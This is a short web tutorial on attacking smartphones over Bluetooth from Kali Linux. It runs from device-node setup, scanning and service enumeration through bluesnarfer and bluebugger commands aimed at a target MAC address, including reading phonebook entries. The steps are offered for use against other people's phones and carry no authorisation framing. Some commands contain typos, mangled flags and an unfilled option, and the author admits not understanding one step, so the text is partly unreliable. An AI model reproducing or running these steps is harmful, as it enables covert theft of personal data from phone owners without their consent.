How To Hack Smartphone Bluetooth Using Kali Linux

Let’s start the hack.

Step 1: Fire up your Kali Linux.

If you don’t have Kali Linux setup then you might need to follow this tutorial to fire up Kali Linux.

Step 2: First let’s configure Bluetooth Open terminal and type:

~#mkdir -p /dev/Bluetooth/rfcomm

~#mknod -m 666 /dev/Bluetooth/rfcomm/0 c 216 0


This is bluesnarfer don, now for bluebugger:

~#mknod –mode=666  /dev/rfcomm0 c 216 0


Step 3: and type the hciconfig to enable your Bluetooth Adapter

~#hciconfig hci0 up


Step 4: Scan for Bluetooth devices.

For this purpose you can use hcitool. This is a command line tool.

~#hcitool scan


Now, let’s try the inq command in hcitool to get more information about these devices:

~#hcitool inq


It also displays clock offset and the class. The class indicates what type of Bluetooth device it is.

You can see list of more option by typing hcitool.

Step 5: Scan for Services with sdptool.

~#sdptool browse <mac address>


or you can use this command also…

~#sdptools browse –tree –l2cap <target MAC>


If you ask me what this shows. I don’t know. But yes it shows you all the services and channels.

Service discovery protocol (SDP) is a Bluetooth protocol. And it helps you to search for services running on the device.

Step 6: Ping the device with L2ping command.

~#l2ping <mac address>


If you don’t get a ping then good luck.

Step 7: Hacking Start

Type bluesnarfer.



And you will see its options. Now we have some options let’s type:

~#bluesnarfer [options] -C 7 -b <target MAC>



~#bluesnarfer –r 1-100 –C –b <mac address>


Now for bluebugger Type:

~#bluebugger –h

~# bluebugger [OPTIONS] -c 7 -a <target MAC> [MODE]


Again, you’ll see some results. And if you are getting any error type

~#hciconfig hci0 down
~#hciconfig hci0 reset
~#hciconfig hci0 up



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